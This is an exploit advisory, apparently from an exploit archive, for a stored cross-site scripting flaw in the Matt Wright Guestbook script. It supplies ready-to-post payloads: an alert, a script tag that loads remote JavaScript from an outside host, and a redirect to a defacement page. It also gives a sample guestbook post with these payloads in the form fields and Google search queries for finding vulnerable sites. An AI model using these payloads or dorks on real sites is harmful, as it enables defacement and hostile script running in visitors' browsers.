The Matt Wright Guestbook suffers from XSS
cdd799093cb6bb94253c508727d162b759e98859c70573f78c334f32f281c7fd
Matt Wright Guestbook Xss Script ?njection
----------------------------------------------------
site:https://www.scriptarchive.com/
demo:https://www.scriptarchive.com/readme/guestbook.html
--------------------------------------------------
Post This Code:
<script>alert(/Liz0ziM/)</script>
<script src=https://liz0.li.funpic.org/hacked.js></script>
<script>location.href="https://evilsite.com/deface.html";</script>
vs..
---------------------------------------------------------
Example Post Message :
Your Name:<script>alert(/Liz0ziM/)</script>
E-Mail:<script>alert(/Liz0ziM/)</script>
URL:blabla
City:blabla , State:blabla Country:blabla
Comments:<script>location.href="https://evilsite.com/deface.html";</script>
----------------------------------------------------------
Credit:Liz0ziM
Mail:liz0@bsdmail.com
Site:www.biyo.tk,www.biyosecurity.be
------------------------------------------------------------
Google:
"Scripts and guestbook created by: Matt Wright "
inurl:guestbook.html
inurl:addguest.html
inurl:"* Back to the Guestbook Entries"
---------------------------------------------------------------
Source:
https://www.blogcu.com/Liz0ziM/431712/
https://liz0zim.no-ip.org/mattguestbook.html